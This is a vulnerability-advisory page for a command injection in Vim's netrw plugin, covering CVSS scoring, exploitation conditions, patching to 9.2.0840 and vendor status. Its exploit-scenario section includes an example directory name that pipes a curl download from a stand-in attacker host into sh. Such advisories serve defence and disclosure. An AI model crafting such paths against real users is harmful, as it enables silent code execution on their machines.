Skip to main content

Vim netrw CVE-2026-73078

| EUVDEUVD-2026-56234 HIGH
Command Injection (CWE-77)
2026-08-11 GitHub_M
8.6
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Host directory with | command payload in path name
  2. Delivery
    Deliver path to victim via network share, repository, or archive
  3. Exploit
    Victim navigates to path in GUI Vim using netrw file explorer
  4. Execution
    s:NetrwBookmarkMenu() or s:NetrwTgtMenu() interpolates unescaped path into :menu Ex command
  5. Impact
    Injected Ex or OS commands execute silently in Vim session context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to be running GUI Vim (gvim) - not terminal Vim - with the netrw plugin loaded, which is the default Vim configuration. The user must actively browse to or bookmark an attacker-controlled directory path containing | pipe separator characters or unescaped single quotes; this action triggers the vulnerable menu-construction logic in s:NetrwBookmarkMenu(), s:NetrwTgtMenu(), or netrw#MakeTgt(). No authentication is required on the attacker's side - the attacker only needs to make a malicious directory structure accessible to the victim via any reachable medium such as an SMB share, NFS mount, WebDAV endpoint, or compressed archive. The attack does not function against terminal Vim because the :menu Ex commands in that context do not invoke the GUI menu entries where the injection occurs. No non-default configuration is required on the victim side: netrw is loaded automatically and the vulnerable functions execute whenever the user opens the netrw file explorer in a GUI Vim session.

Impact

The CVSS 4.0 score of 8.6 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H) correctly characterizes this as high-severity but user-interaction-dependent. The network attack vector is justified because malicious directory paths can be delivered over SMB shares, NFS mounts, WebDAV endpoints, or crafted repositories without requiring special attack preconditions. The UI:A requirement meaningfully limits automation - mass exploitation without social engineering is implausible, placing this below the threshold of a wormable vulnerability. No EPSS data was supplied in the source intelligence, leaving quantified exploitation probability unavailable; the absence of both KEV listing and independently identified POC code suggests the vulnerability has not yet seen broad opportunistic exploitation. Despite this, even a mid-sized municipal IT organization in bytom that issues developer workstations running gvim should treat this as urgent, since developers routinely browse project directories and remote shares through netrw. The primary real-world limiting factor is the GUI Vim prerequisite - organizations running Vim exclusively in terminal mode face no exposure from this specific flaw.

Exploit ScenarioDerived

An attacker crafts a directory whose name embeds pipe-separated Ex commands - for example, a directory named foo|!curl attacker.example/s.sh|sh| - and hosts it via a shared network drive, WebDAV server, or malicious Git repository. When a developer opens GUI Vim, navigates to this location with netrw, and the path is captured into Bookmarks or History, the :menu construction in s:NetrwBookmarkMenu() or s:NetrwTgtMenu() interpolates the unescaped path and silently executes the injected OS command in the Vim session's user context. No independent POC code has been identified, but the five injection sites are fully documented in the public commit diff, reducing the effort required to develop a working exploit.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Command injection in Vim's netrw plugin before version 9.2.0840 enables arbitrary Ex and operating-system command execution against GUI Vim users who browse or bookmark attacker-controlled directory paths. The flaw spans five construction sites in s:NetrwBookmarkMenu(), s:NetrwTgtMenu(), and netrw#MakeTgt() where Vim's pipe separator | and single quotes are not neutralized before path data is interpolated into executed :menu commands. No public exploit code has been identified at time of analysis and the vulnerability does not appear in CISA KEV; a vendor-confirmed patch is available as Vim 9.2.0840.

RemediationAI

Upgrade to Vim 9.2.0840 or later, confirmed as the vendor-released patch via commit 29c6fd090d4520592f8be7d9ec81190edf25ef69 at https://github.com/vim/vim/commit/29c6fd090d4520592f8be7d9ec81190edf25ef69. As a compensating control before patching, add let g:loaded_netrw = 1 and let g:loaded_netrwPlugin = 1 to the vimrc to disable the netrw plugin entirely; this eliminates the vulnerable code path but also disables all netrw-based file browsing and remote file access, which may disrupt workflows. Alternatively, restricting developer workflows to terminal Vim rather than GUI Vim (gvim) avoids the GUI :menu construction paths entirely, though this trades graphical usability for exposure reduction. Both workarounds carry meaningful usability trade-offs; upgrading to 9.2.0840 is the definitive resolution.

Affected VersionsENISA

vim < 9.2.0840

Affected Packages

euvd vim fix: 9.2.0840

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vim's netrw plugin is the built-in file explorer and network file-transfer facility, loaded by default via runtime/plugin/netrwPlugin.vim. When operating in GUI Vim (gvim), netrw builds Bookmarks, History, and Targets menus by executing :menu Ex commands that directly interpolate directory path strings. Prior to 9.2.0840, the g:netrw_menu_escape variable used to sanitize special characters did not include the | character, which acts as a command separator in Vim's Ex command language. CWE-77 (Improper Neutralization of Special Elements used in a Command) precisely describes the root cause: attacker-controlled path strings containing | or unescaped single-quote characters passed verbatim into :menu commands allow injection of arbitrary Ex commands and, via :! or shell escapes, arbitrary OS commands. The commit diff confirms the five distinct vulnerable sites - bookmark entries, bookmark-delete entries, history entries in s:NetrwBookmarkMenu(), and two target-entry sites in s:NetrwTgtMenu() - all fixed by adding | to g:netrw_menu_escape and applying fnameescape() with additional pipe-character escaping. The CPE identifier cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* confirms all Vim releases before the patch are in scope.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable via crafted directory path; no attacker privileges needed; user must actively browse the path (UI:R); commands execute within the unchanged Vim user scope.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 17:02 EUVD
CVE Published
Aug 11, 2026 - 15:41 cve.org
HIGH 8.6

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to 9.2.0840, runtime/plugin/netrwPlugin.vim loads netrw and runtime/pack/dist/opt/netrw/autoload/netrw.vim constructs Bookmarks, History, and Targets menu entries by interpolating attacker-controlled directory paths into executed :menu commands. s:NetrwBookmarkMenu(), s:NetrwTgtMenu(), g:netrw_menu_escape, EX_TRLBAR, and netrw#MakeTgt() fail to neutralize the | command separator or single quotes at five construction sites, allowing a crafted path browsed or bookmarked in GUI Vim to execute arbitrary Ex and operating-system commands. This issue is fixed in version 9.2.0840.

Executive ViewAI

Why It Matters

Vim's netrw file browser plugin (versions before 9.2.0840) contains a command injection vulnerability enabling arbitrary code execution when GUI Vim users browse or bookmark attacker-controlled directory paths. Organizations where developers, system administrators, or security researchers use Vim as their primary editor face direct risk of workstation compromise through socially engineered file access.

Business Impact: High
Compensating Controls

Apply vendor patch (Vim 9.2.0840).

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
High
Vim installed by default across Linux, macOS, and developer workstation environments
Data Quality
8 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy